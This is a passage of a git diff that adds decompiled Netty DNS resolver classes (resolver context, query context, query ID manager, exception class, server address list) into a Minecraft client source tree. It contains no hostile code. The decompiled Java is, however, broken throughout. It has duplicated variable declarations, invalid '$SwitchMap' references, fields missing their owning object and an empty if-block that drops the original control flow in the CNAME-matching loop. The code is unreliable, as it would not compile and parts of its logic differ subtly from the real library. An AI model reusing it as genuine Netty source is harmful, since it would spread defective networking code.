+import io.netty.handler.codec.dns.DnsRecord;
+import io.netty.handler.codec.dns.DnsRecordType;
+import io.netty.handler.codec.dns.DnsResponse;
+import io.netty.handler.codec.dns.DnsResponseCode;
+import io.netty.handler.codec.dns.DnsSection;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.StringUtil;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.IdentityHashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class DnsNameResolverContext<T>
+{
+  private static final int INADDRSZ4 = 4;
+  private static final int INADDRSZ6 = 16;
+  private static final FutureListener<AddressedEnvelope<DnsResponse, InetSocketAddress>> RELEASE_RESPONSE = new FutureListener()
+  {
+    public void operationComplete(Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> future)
+    {
+      if (future.isSuccess()) {
+        ((AddressedEnvelope)future.getNow()).release();
+      }
+    }
+  };
+  
+  private final DnsNameResolver parent;
+  
+  private final DnsServerAddressStream nameServerAddrs;
+  private final String hostname;
+  protected String pristineHostname;
+  private final DnsCache resolveCache;
+  private final boolean traceEnabled;
+  private final int maxAllowedQueries;
+  private final InternetProtocolFamily[] resolveAddressTypes;
+  private final DnsRecord[] additionals;
+  private final Set<Future<AddressedEnvelope<DnsResponse, InetSocketAddress>>> queriesInProgress = Collections.newSetFromMap(new IdentityHashMap());
+  
+  private List<DnsCacheEntry> resolvedEntries;
+  
+  private StringBuilder trace;
+  
+  private int allowedQueries;
+  
+  private boolean triedCNAME;
+  
+
+  protected DnsNameResolverContext(DnsNameResolver parent, String hostname, DnsRecord[] additionals, DnsCache resolveCache)
+  {
+    this.parent = parent;
+    this.hostname = hostname;
+    this.additionals = additionals;
+    this.resolveCache = resolveCache;
+    
+    nameServerAddrs = nameServerAddresses.stream();
+    maxAllowedQueries = parent.maxQueriesPerResolve();
+    resolveAddressTypes = parent.resolveAddressTypesUnsafe();
+    traceEnabled = parent.isTraceEnabled();
+    allowedQueries = maxAllowedQueries;
+  }
+  
+  void resolve(Promise<T> promise) {
+    boolean directSearch = (parent.searchDomains().length == 0) || (StringUtil.endsWith(hostname, '.'));
+    if (directSearch) {
+      internalResolve(promise);
+    } else {
+      final Promise<T> original = promise;
+      promise = parent.executor().newPromise();
+      promise.addListener(new FutureListener() {
+        int count;
+        
+        public void operationComplete(Future<T> future) throws Exception {
+          if (future.isSuccess()) {
+            original.trySuccess(future.getNow());
+          } else if (count < parent.searchDomains().length) {
+            String searchDomain = parent.searchDomains()[(count++)];
+            Promise<T> nextPromise = parent.executor().newPromise();
+            String nextHostname = hostname + '.' + searchDomain;
+            DnsNameResolverContext<T> nextContext = newResolverContext(parent, nextHostname, additionals, resolveCache);
+            
+            pristineHostname = hostname;
+            nextContext.internalResolve(nextPromise);
+            nextPromise.addListener(this);
+          } else {
+            original.tryFailure(future.cause());
+          }
+        }
+      });
+      if (parent.ndots() == 0) {
+        internalResolve(promise);
+      } else {
+        int dots = 0;
+        for (int idx = hostname.length() - 1; idx >= 0; idx--)
+          if (hostname.charAt(idx) == '.') { dots++; if (dots >= parent.ndots()) {
+              internalResolve(promise);
+              return;
+            }
+          }
+        promise.tryFailure(new UnknownHostException(hostname));
+      }
+    }
+  }
+  
+  private void internalResolve(Promise<T> promise) {
+    InetSocketAddress nameServerAddrToTry = nameServerAddrs.next();
+    for (InternetProtocolFamily f : resolveAddressTypes) { DnsRecordType type;
+      DnsRecordType type;
+      switch (4.$SwitchMap$io$netty$channel$socket$InternetProtocolFamily[f.ordinal()]) {
+      case 1: 
+        type = DnsRecordType.A;
+        break;
+      case 2: 
+        type = DnsRecordType.AAAA;
+        break;
+      default: 
+        throw new Error();
+      }
+      DnsRecordType type;
+      query(nameServerAddrToTry, new DefaultDnsQuestion(hostname, type), promise);
+    }
+  }
+  
+  private void query(InetSocketAddress nameServerAddr, final DnsQuestion question, final Promise<T> promise) {
+    if ((allowedQueries == 0) || (promise.isCancelled())) {
+      tryToFinishResolve(promise);
+      return;
+    }
+    
+    allowedQueries -= 1;
+    
+    Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> f = parent.query0(nameServerAddr, question, additionals, parent.ch.eventLoop().newPromise());
+    
+
+    queriesInProgress.add(f);
+    
+    f.addListener(new FutureListener()
+    {
+      public void operationComplete(Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> future) {
+        queriesInProgress.remove(future);
+        
+        if ((promise.isDone()) || (future.isCancelled())) {
+          return;
+        }
+        try
+        {
+          if (future.isSuccess()) {
+            onResponse(question, (AddressedEnvelope)future.getNow(), promise);
+          }
+          else {
+            if (traceEnabled) {
+              DnsNameResolverContext.this.addTrace(future.cause());
+            }
+            DnsNameResolverContext.this.query(nameServerAddrs.next(), question, promise);
+          }
+        } finally {
+          tryToFinishResolve(promise);
+        }
+      }
+    });
+  }
+  
+  void onResponse(DnsQuestion question, AddressedEnvelope<DnsResponse, InetSocketAddress> envelope, Promise<T> promise)
+  {
+    try {
+      DnsResponse res = (DnsResponse)envelope.content();
+      DnsResponseCode code = res.code();
+      if (code == DnsResponseCode.NOERROR) {
+        DnsRecordType type = question.type();
+        if ((type == DnsRecordType.A) || (type == DnsRecordType.AAAA)) {
+          onResponseAorAAAA(type, question, envelope, promise);
+        } else if (type == DnsRecordType.CNAME) {
+          onResponseCNAME(question, envelope, promise);
+        }
+      }
+      else
+      {
+        if (traceEnabled) {
+          addTrace((InetSocketAddress)envelope.sender(), "response code: " + code + " with " + res.count(DnsSection.ANSWER) + " answer(s) and " + res.count(DnsSection.AUTHORITY) + " authority resource(s)");
+        }
+        
+
+
+
+        if (code != DnsResponseCode.NXDOMAIN)
+          query(nameServerAddrs.next(), question, promise);
+      }
+    } finally {
+      ReferenceCountUtil.safeRelease(envelope);
+    }
+  }
+  
+
+
+
+  private void onResponseAorAAAA(DnsRecordType qType, DnsQuestion question, AddressedEnvelope<DnsResponse, InetSocketAddress> envelope, Promise<T> promise)
+  {
+    DnsResponse response = (DnsResponse)envelope.content();
+    Map<String, String> cnames = buildAliasMap(response);
+    int answerCount = response.count(DnsSection.ANSWER);
+    
+    boolean found = false;
+    for (int i = 0; i < answerCount; i++) {
+      DnsRecord r = response.recordAt(DnsSection.ANSWER, i);
+      DnsRecordType type = r.type();
+      if ((type == DnsRecordType.A) || (type == DnsRecordType.AAAA))
+      {
+
+
+        String qName = question.name().toLowerCase(Locale.US);
+        String rName = r.name().toLowerCase(Locale.US);
+        
+
+        if (!rName.equals(qName))
+        {
+          String resolved = qName;
+          do {
+            resolved = (String)cnames.get(resolved);
+          } while ((!rName.equals(resolved)) && 
+          
+
+            (resolved != null));
+          
+          if (resolved == null) {}
+
+
+
+        }
+        else if ((r instanceof DnsRawRecord))
+        {
+
+
+          ByteBuf content = ((ByteBufHolder)r).content();
+          int contentLen = content.readableBytes();
+          if ((contentLen == 4) || (contentLen == 16))
+          {
+
+
+            byte[] addrBytes = new byte[contentLen];
+            content.getBytes(content.readerIndex(), addrBytes);
+            
+            try
+            {
+              resolved = InetAddress.getByAddress(hostname, addrBytes);
+            } catch (UnknownHostException e) {
+              InetAddress resolved;
+              throw new Error(e);
+            }
+            InetAddress resolved;
+            if (resolvedEntries == null) {
+              resolvedEntries = new ArrayList(8);
+            }
+            
+            DnsCacheEntry e = new DnsCacheEntry(hostname, resolved);
+            resolveCache.cache(hostname, additionals, resolved, r.timeToLive(), parent.ch.eventLoop());
+            resolvedEntries.add(e);
+            found = true;
+          }
+        }
+      }
+    }
+    if (found) {
+      return;
+    }
+    
+    if (traceEnabled) {
+      addTrace((InetSocketAddress)envelope.sender(), "no matching " + qType + " record found");
+    }
+    
+
+    if (!cnames.isEmpty()) {
+      onResponseCNAME(question, envelope, cnames, false, promise);
+    }
+  }
+  
+  private void onResponseCNAME(DnsQuestion question, AddressedEnvelope<DnsResponse, InetSocketAddress> envelope, Promise<T> promise)
+  {
+    onResponseCNAME(question, envelope, buildAliasMap((DnsResponse)envelope.content()), true, promise);
+  }
+  
+
+
+
+  private void onResponseCNAME(DnsQuestion question, AddressedEnvelope<DnsResponse, InetSocketAddress> response, Map<String, String> cnames, boolean trace, Promise<T> promise)
+  {
+    String name = question.name().toLowerCase(Locale.US);
+    String resolved = name;
+    boolean found = false;
+    while (!cnames.isEmpty())
+    {
+
+      String next = (String)cnames.remove(resolved);
+      if (next == null) break;
+      found = true;
+      resolved = next;
+    }
+    
+
+
+
+    if (found) {
+      followCname((InetSocketAddress)response.sender(), name, resolved, promise);
+    } else if ((trace) && (traceEnabled)) {
+      addTrace((InetSocketAddress)response.sender(), "no matching CNAME record found");
+    }
+  }
+  
+  private static Map<String, String> buildAliasMap(DnsResponse response) {
+    int answerCount = response.count(DnsSection.ANSWER);
+    Map<String, String> cnames = null;
+    for (int i = 0; i < answerCount; i++) {
+      DnsRecord r = response.recordAt(DnsSection.ANSWER, i);
+      DnsRecordType type = r.type();
+      if (type == DnsRecordType.CNAME)
+      {
+
+
+        if ((r instanceof DnsRawRecord))
+        {
+
+
+          ByteBuf recordContent = ((ByteBufHolder)r).content();
+          String domainName = decodeDomainName(recordContent);
+          if (domainName != null)
+          {
+
+
+            if (cnames == null) {
+              cnames = new HashMap();
+            }
+            
+            cnames.put(r.name().toLowerCase(Locale.US), domainName.toLowerCase(Locale.US));
+          }
+        } } }
+    return cnames != null ? cnames : Collections.emptyMap();
+  }
+  
+  void tryToFinishResolve(Promise<T> promise) {
+    if (!queriesInProgress.isEmpty())
+    {
+      if (gotPreferredAddress())
+      {
+        finishResolve(promise);
+      }
+      
+
+      return;
+    }
+    
+
+    if (resolvedEntries == null)
+    {
+      if (!triedCNAME)
+      {
+        triedCNAME = true;
+        query(nameServerAddrs.next(), new DefaultDnsQuestion(hostname, DnsRecordType.CNAME), promise);
+        return;
+      }
+    }
+    
+
+    finishResolve(promise);
+  }
+  
+  private boolean gotPreferredAddress() {
+    if (resolvedEntries == null) {
+      return false;
+    }
+    
+    int size = resolvedEntries.size();
+    switch (4.$SwitchMap$io$netty$channel$socket$InternetProtocolFamily[resolveAddressTypes[0].ordinal()]) {
+    case 1: 
+      for (int i = 0; i < size; i++) {
+        if ((((DnsCacheEntry)resolvedEntries.get(i)).address() instanceof Inet4Address)) {
+          return true;
+        }
+      }
+      break;
+    case 2: 
+      for (int i = 0; i < size; i++) {
+        if ((((DnsCacheEntry)resolvedEntries.get(i)).address() instanceof Inet6Address)) {
+          return true;
+        }
+      }
+    }
+    
+    
+    return false;
+  }
+  
+  private void finishResolve(Promise<T> promise) {
+    if (!queriesInProgress.isEmpty())
+    {
+      Iterator<Future<AddressedEnvelope<DnsResponse, InetSocketAddress>>> i = queriesInProgress.iterator();
+      while (i.hasNext()) {
+        Future<AddressedEnvelope<DnsResponse, InetSocketAddress>> f = (Future)i.next();
+        i.remove();
+        
+        if (!f.cancel(false)) {
+          f.addListener(RELEASE_RESPONSE);
+        }
+      }
+    }
+    
+    if (resolvedEntries != null)
+    {
+      for (InternetProtocolFamily f : resolveAddressTypes) {
+        if (finishResolve(f.addressType(), resolvedEntries, promise)) {
+          return;
+        }
+      }
+    }
+    
+
+    int tries = maxAllowedQueries - allowedQueries;
+    StringBuilder buf = new StringBuilder(64);
+    
+    buf.append("failed to resolve '");
+    if (pristineHostname != null) {
+      buf.append(pristineHostname);
+    } else {
+      buf.append(hostname);
+    }
+    buf.append('\'');
+    if (tries > 1) {
+      if (tries < maxAllowedQueries) {
+        buf.append(" after ").append(tries).append(" queries ");
+      }
+      else
+      {
+        buf.append(". Exceeded max queries per resolve ").append(maxAllowedQueries).append(' ');
+      }
+    }
+    
+
+    if (trace != null) {
+      buf.append(':').append(trace);
+    }
+    
+    UnknownHostException cause = new UnknownHostException(buf.toString());
+    
+    resolveCache.cache(hostname, additionals, cause, parent.ch.eventLoop());
+    promise.tryFailure(cause);
+  }
+  
+
+  abstract boolean finishResolve(Class<? extends InetAddress> paramClass, List<DnsCacheEntry> paramList, Promise<T> paramPromise);
+  
+  abstract DnsNameResolverContext<T> newResolverContext(DnsNameResolver paramDnsNameResolver, String paramString, DnsRecord[] paramArrayOfDnsRecord, DnsCache paramDnsCache);
+  
+  static String decodeDomainName(ByteBuf in)
+  {
+    in.markReaderIndex();
+    try {
+      return DefaultDnsRecordDecoder.decodeName(in);
+    }
+    catch (CorruptedFrameException e) {
+      return null;
+    } finally {
+      in.resetReaderIndex();
+    }
+  }
+  
+  private void followCname(InetSocketAddress nameServerAddr, String name, String cname, Promise<T> promise)
+  {
+    if (traceEnabled) {
+      if (trace == null) {
+        trace = new StringBuilder(128);
+      }
+      
+      trace.append(StringUtil.NEWLINE);
+      trace.append("\tfrom ");
+      trace.append(nameServerAddr);
+      trace.append(": ");
+      trace.append(name);
+      trace.append(" CNAME ");
+      trace.append(cname);
+    }
+    
+    InetSocketAddress nextAddr = nameServerAddrs.next();
+    query(nextAddr, new DefaultDnsQuestion(cname, DnsRecordType.A), promise);
+    query(nextAddr, new DefaultDnsQuestion(cname, DnsRecordType.AAAA), promise);
+  }
+  
+  private void addTrace(InetSocketAddress nameServerAddr, String msg) {
+    assert (traceEnabled);
+    
+    if (trace == null) {
+      trace = new StringBuilder(128);
+    }
+    
+    trace.append(StringUtil.NEWLINE);
+    trace.append("\tfrom ");
+    trace.append(nameServerAddr);
+    trace.append(": ");
+    trace.append(msg);
+  }
+  
+  private void addTrace(Throwable cause) {
+    assert (traceEnabled);
+    
+    if (trace == null) {
+      trace = new StringBuilder(128);
+    }
+    
+    trace.append(StringUtil.NEWLINE);
+    trace.append("Caused by: ");
+    trace.append(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsNameResolverException.java b/src/minecraft/io/netty/resolver/dns/DnsNameResolverException.java
new file mode 100644
index 0000000..8701468
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsNameResolverException.java
@@ -0,0 +1,76 @@
+package io.netty.resolver.dns;
+
+import io.netty.handler.codec.dns.DnsQuestion;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.ObjectUtil;
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DnsNameResolverException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = -8826717909627131850L;
+  private final InetSocketAddress remoteAddress;
+  private final DnsQuestion question;
+  
+  public DnsNameResolverException(InetSocketAddress remoteAddress, DnsQuestion question, String message)
+  {
+    super(message);
+    this.remoteAddress = validateRemoteAddress(remoteAddress);
+    this.question = validateQuestion(question);
+  }
+  
+  public DnsNameResolverException(InetSocketAddress remoteAddress, DnsQuestion question, String message, Throwable cause)
+  {
+    super(message, cause);
+    this.remoteAddress = validateRemoteAddress(remoteAddress);
+    this.question = validateQuestion(question);
+  }
+  
+  private static InetSocketAddress validateRemoteAddress(InetSocketAddress remoteAddress) {
+    return (InetSocketAddress)ObjectUtil.checkNotNull(remoteAddress, "remoteAddress");
+  }
+  
+  private static DnsQuestion validateQuestion(DnsQuestion question) {
+    return (DnsQuestion)ObjectUtil.checkNotNull(question, "question");
+  }
+  
+
+
+  public InetSocketAddress remoteAddress()
+  {
+    return remoteAddress;
+  }
+  
+
+
+  public DnsQuestion question()
+  {
+    return question;
+  }
+  
+  public Throwable fillInStackTrace()
+  {
+    setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsQueryContext.java b/src/minecraft/io/netty/resolver/dns/DnsQueryContext.java
new file mode 100644
index 0000000..ceadb55
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsQueryContext.java
@@ -0,0 +1,218 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.EventLoop;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.handler.codec.dns.AbstractDnsOptPseudoRrRecord;
+import io.netty.handler.codec.dns.DatagramDnsQuery;
+import io.netty.handler.codec.dns.DnsQuery;
+import io.netty.handler.codec.dns.DnsQuestion;
+import io.netty.handler.codec.dns.DnsRecord;
+import io.netty.handler.codec.dns.DnsResponse;
+import io.netty.handler.codec.dns.DnsSection;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.concurrent.ScheduledFuture;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.InetSocketAddress;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DnsQueryContext
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DnsQueryContext.class);
+  
+  private final DnsNameResolver parent;
+  
+  private final Promise<AddressedEnvelope<DnsResponse, InetSocketAddress>> promise;
+  
+  private final int id;
+  
+  private final DnsQuestion question;
+  
+  private final DnsRecord[] additionals;
+  
+  private final DnsRecord optResource;
+  private final InetSocketAddress nameServerAddr;
+  private final boolean recursionDesired;
+  private volatile ScheduledFuture<?> timeoutFuture;
+  
+  DnsQueryContext(DnsNameResolver parent, InetSocketAddress nameServerAddr, DnsQuestion question, DnsRecord[] additionals, Promise<AddressedEnvelope<DnsResponse, InetSocketAddress>> promise)
+  {
+    this.parent = ((DnsNameResolver)ObjectUtil.checkNotNull(parent, "parent"));
+    this.nameServerAddr = ((InetSocketAddress)ObjectUtil.checkNotNull(nameServerAddr, "nameServerAddr"));
+    this.question = ((DnsQuestion)ObjectUtil.checkNotNull(question, "question"));
+    this.additionals = ((DnsRecord[])ObjectUtil.checkNotNull(additionals, "additionals"));
+    this.promise = ((Promise)ObjectUtil.checkNotNull(promise, "promise"));
+    recursionDesired = parent.isRecursionDesired();
+    id = queryContextManager.add(this);
+    
+    if (parent.isOptResourceEnabled()) {
+      optResource = new AbstractDnsOptPseudoRrRecord(parent.maxPayloadSize(), 0, 0) {};
+    }
+    else
+    {
+      optResource = null;
+    }
+  }
+  
+  InetSocketAddress nameServerAddr() {
+    return nameServerAddr;
+  }
+  
+  DnsQuestion question() {
+    return question;
+  }
+  
+  void query() {
+    DnsQuestion question = question();
+    InetSocketAddress nameServerAddr = nameServerAddr();
+    DatagramDnsQuery query = new DatagramDnsQuery(null, nameServerAddr, id);
+    
+    query.setRecursionDesired(recursionDesired);
+    
+    query.addRecord(DnsSection.QUESTION, question);
+    
+    for (DnsRecord record : additionals) {
+      query.addRecord(DnsSection.ADDITIONAL, record);
+    }
+    
+    if (optResource != null) {
+      query.addRecord(DnsSection.ADDITIONAL, optResource);
+    }
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("{} WRITE: [{}: {}], {}", new Object[] { parent.ch, Integer.valueOf(id), nameServerAddr, question });
+    }
+    
+    sendQuery(query);
+  }
+  
+  private void sendQuery(final DnsQuery query) {
+    if (parent.channelFuture.isDone()) {
+      writeQuery(query);
+    } else {
+      parent.channelFuture.addListener(new GenericFutureListener()
+      {
+        public void operationComplete(Future<? super Channel> future) throws Exception {
+          if (future.isSuccess()) {
+            DnsQueryContext.this.writeQuery(query);
+          } else {
+            promise.tryFailure(future.cause());
+          }
+        }
+      });
+    }
+  }
+  
+  private void writeQuery(DnsQuery query) {
+    final ChannelFuture writeFuture = parent.ch.writeAndFlush(query);
+    if (writeFuture.isDone()) {
+      onQueryWriteCompletion(writeFuture);
+    } else {
+      writeFuture.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          DnsQueryContext.this.onQueryWriteCompletion(writeFuture);
+        }
+      });
+    }
+  }
+  
+  private void onQueryWriteCompletion(ChannelFuture writeFuture) {
+    if (!writeFuture.isSuccess()) {
+      setFailure("failed to send a query", writeFuture.cause());
+      return;
+    }
+    
+
+    final long queryTimeoutMillis = parent.queryTimeoutMillis();
+    if (queryTimeoutMillis > 0L) {
+      timeoutFuture = parent.ch.eventLoop().schedule(new Runnable()
+      {
+        public void run() {
+          if (promise.isDone())
+          {
+            return;
+          }
+          
+          DnsQueryContext.this.setFailure("query timed out after " + queryTimeoutMillis + " milliseconds", null); } }, queryTimeoutMillis, TimeUnit.MILLISECONDS);
+    }
+  }
+  
+
+  void finish(AddressedEnvelope<? extends DnsResponse, InetSocketAddress> envelope)
+  {
+    DnsResponse res = (DnsResponse)envelope.content();
+    if (res.count(DnsSection.QUESTION) != 1) {
+      logger.warn("Received a DNS response with invalid number of questions: {}", envelope);
+      return;
+    }
+    
+    if (!question().equals(res.recordAt(DnsSection.QUESTION))) {
+      logger.warn("Received a mismatching DNS response: {}", envelope);
+      return;
+    }
+    
+    setSuccess(envelope);
+  }
+  
+  private void setSuccess(AddressedEnvelope<? extends DnsResponse, InetSocketAddress> envelope) {
+    parent.queryContextManager.remove(nameServerAddr(), id);
+    
+
+    ScheduledFuture<?> timeoutFuture = this.timeoutFuture;
+    if (timeoutFuture != null) {
+      timeoutFuture.cancel(false);
+    }
+    
+    Promise<AddressedEnvelope<DnsResponse, InetSocketAddress>> promise = this.promise;
+    if (promise.setUncancellable())
+    {
+      AddressedEnvelope<DnsResponse, InetSocketAddress> castResponse = envelope.retain();
+      
+      promise.setSuccess(castResponse);
+    }
+  }
+  
+  private void setFailure(String message, Throwable cause) {
+    InetSocketAddress nameServerAddr = nameServerAddr();
+    parent.queryContextManager.remove(nameServerAddr, id);
+    
+    StringBuilder buf = new StringBuilder(message.length() + 64);
+    buf.append('[').append(nameServerAddr).append("] ").append(message).append(" (no stack trace available)");
+    
+
+    DnsNameResolverException e;
+    
+    DnsNameResolverException e;
+    
+    if (cause != null) {
+      e = new DnsNameResolverException(nameServerAddr, question(), buf.toString(), cause);
+    } else {
+      e = new DnsNameResolverException(nameServerAddr, question(), buf.toString());
+    }
+    
+    promise.tryFailure(e);
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsQueryContextManager.java b/src/minecraft/io/netty/resolver/dns/DnsQueryContextManager.java
new file mode 100644
index 0000000..8f1e608
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsQueryContextManager.java
@@ -0,0 +1,148 @@
+package io.netty.resolver.dns;
+
+import io.netty.util.NetUtil;
+import io.netty.util.collection.IntObjectHashMap;
+import io.netty.util.collection.IntObjectMap;
+import io.netty.util.internal.ThreadLocalRandom;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.UnknownHostException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DnsQueryContextManager
+{
+  final Map<InetSocketAddress, IntObjectMap<DnsQueryContext>> map = new HashMap();
+  
+  DnsQueryContextManager() {}
+  
+  int add(DnsQueryContext qCtx) { IntObjectMap<DnsQueryContext> contexts = getOrCreateContextMap(qCtx.nameServerAddr());
+    
+    int id = ThreadLocalRandom.current().nextInt(1, 65536);
+    int maxTries = 131070;
+    int tries = 0;
+    
+    synchronized (contexts) {
+      do {
+        if (!contexts.containsKey(id)) {
+          contexts.put(id, qCtx);
+          return id;
+        }
+        
+        id = id + 1 & 0xFFFF;
+        
+        tries++; } while (tries < 131070);
+      throw new IllegalStateException("query ID space exhausted: " + qCtx.question());
+    }
+  }
+  
+
+  DnsQueryContext get(InetSocketAddress nameServerAddr, int id)
+  {
+    IntObjectMap<DnsQueryContext> contexts = getContextMap(nameServerAddr);
+    DnsQueryContext qCtx;
+    DnsQueryContext qCtx; if (contexts != null) { DnsQueryContext qCtx;
+      synchronized (contexts) {
+        qCtx = (DnsQueryContext)contexts.get(id);
+      }
+    } else {
+      qCtx = null;
+    }
+    
+    return qCtx;
+  }
+  
+  DnsQueryContext remove(InetSocketAddress nameServerAddr, int id) {
+    IntObjectMap<DnsQueryContext> contexts = getContextMap(nameServerAddr);
+    if (contexts == null) {
+      return null;
+    }
+    
+    synchronized (contexts) {
+      return (DnsQueryContext)contexts.remove(id);
+    }
+  }
+  
+  private IntObjectMap<DnsQueryContext> getContextMap(InetSocketAddress nameServerAddr) {
+    synchronized (map) {
+      return (IntObjectMap)map.get(nameServerAddr);
+    }
+  }
+  
+  private IntObjectMap<DnsQueryContext> getOrCreateContextMap(InetSocketAddress nameServerAddr) {
+    synchronized (map) {
+      IntObjectMap<DnsQueryContext> contexts = (IntObjectMap)map.get(nameServerAddr);
+      if (contexts != null) {
+        return contexts;
+      }
+      
+      IntObjectMap<DnsQueryContext> newContexts = new IntObjectHashMap();
+      InetAddress a = nameServerAddr.getAddress();
+      int port = nameServerAddr.getPort();
+      map.put(nameServerAddr, newContexts);
+      
+      if ((a instanceof Inet4Address))
+      {
+        Inet4Address a4 = (Inet4Address)a;
+        if (a4.isLoopbackAddress()) {
+          map.put(new InetSocketAddress(NetUtil.LOCALHOST6, port), newContexts);
+        } else {
+          map.put(new InetSocketAddress(toCompatAddress(a4), port), newContexts);
+        }
+      } else if ((a instanceof Inet6Address))
+      {
+        Inet6Address a6 = (Inet6Address)a;
+        if (a6.isLoopbackAddress()) {
+          map.put(new InetSocketAddress(NetUtil.LOCALHOST4, port), newContexts);
+        } else if (a6.isIPv4CompatibleAddress()) {
+          map.put(new InetSocketAddress(toIPv4Address(a6), port), newContexts);
+        }
+      }
+      
+      return newContexts;
+    }
+  }
+  
+  private static Inet6Address toCompatAddress(Inet4Address a4) {
+    byte[] b4 = a4.getAddress();
+    byte[] b6 = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, b4[0], b4[1], b4[2], b4[3] };
+    try {
+      return (Inet6Address)InetAddress.getByAddress(b6);
+    } catch (UnknownHostException e) {
+      throw new Error(e);
+    }
+  }
+  
+  private static Inet4Address toIPv4Address(Inet6Address a6) {
+    byte[] b6 = a6.getAddress();
+    byte[] b4 = { b6[12], b6[13], b6[14], b6[15] };
+    try {
+      return (Inet4Address)InetAddress.getByAddress(b4);
+    } catch (UnknownHostException e) {
+      throw new Error(e);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsServerAddressStream.java b/src/minecraft/io/netty/resolver/dns/DnsServerAddressStream.java
new file mode 100644
index 0000000..da4d0ea
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsServerAddressStream.java
@@ -0,0 +1,8 @@
+package io.netty.resolver.dns;
+
+import java.net.InetSocketAddress;
+
+public abstract interface DnsServerAddressStream
+{
+  public abstract InetSocketAddress next();
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsServerAddresses.java b/src/minecraft/io/netty/resolver/dns/DnsServerAddresses.java
new file mode 100644
index 0000000..5e7a52d
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsServerAddresses.java
@@ -0,0 +1,267 @@
+package io.netty.resolver.dns;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Method;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DnsServerAddresses
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DnsServerAddresses.class);
+  
+  private static final List<InetSocketAddress> DEFAULT_NAME_SERVER_LIST;
+  private static final InetSocketAddress[] DEFAULT_NAME_SERVER_ARRAY;
+  
+  static
+  {
+    int DNS_PORT = 53;
+    List<InetSocketAddress> defaultNameServers = new ArrayList(2);
+    try {
+      Class<?> configClass = Class.forName("sun.net.dns.ResolverConfiguration");
+      Method open = configClass.getMethod("open", new Class[0]);
+      Method nameservers = configClass.getMethod("nameservers", new Class[0]);
+      Object instance = open.invoke(null, new Object[0]);
+      
+
+      List<String> list = (List)nameservers.invoke(instance, new Object[0]);
+      for (String a : list) {
+        if (a != null) {
+          defaultNameServers.add(new InetSocketAddress(InetAddress.getByName(a), 53));
+        }
+      }
+    }
+    catch (Exception localException) {}
+    
+
+
+    if (!defaultNameServers.isEmpty()) {
+      if (logger.isDebugEnabled()) {
+        logger.debug("Default DNS servers: {} (sun.net.dns.ResolverConfiguration)", defaultNameServers);
+      }
+    }
+    else {
+      Collections.addAll(defaultNameServers, new InetSocketAddress[] { new InetSocketAddress("8.8.8.8", 53), new InetSocketAddress("8.8.4.4", 53) });
+      
+
+
+
+      if (logger.isWarnEnabled()) {
+        logger.warn("Default DNS servers: {} (Google Public DNS as a fallback)", defaultNameServers);
+      }
+    }
+    
+
+    DEFAULT_NAME_SERVER_LIST = Collections.unmodifiableList(defaultNameServers);
+    DEFAULT_NAME_SERVER_ARRAY = (InetSocketAddress[])defaultNameServers.toArray(new InetSocketAddress[defaultNameServers.size()]); }
+  private static final DnsServerAddresses DEFAULT_NAME_SERVERS = sequential(DEFAULT_NAME_SERVER_ARRAY);
+  
+
+
+
+
+
+  public static List<InetSocketAddress> defaultAddressList()
+  {
+    return DEFAULT_NAME_SERVER_LIST;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static DnsServerAddresses defaultAddresses()
+  {
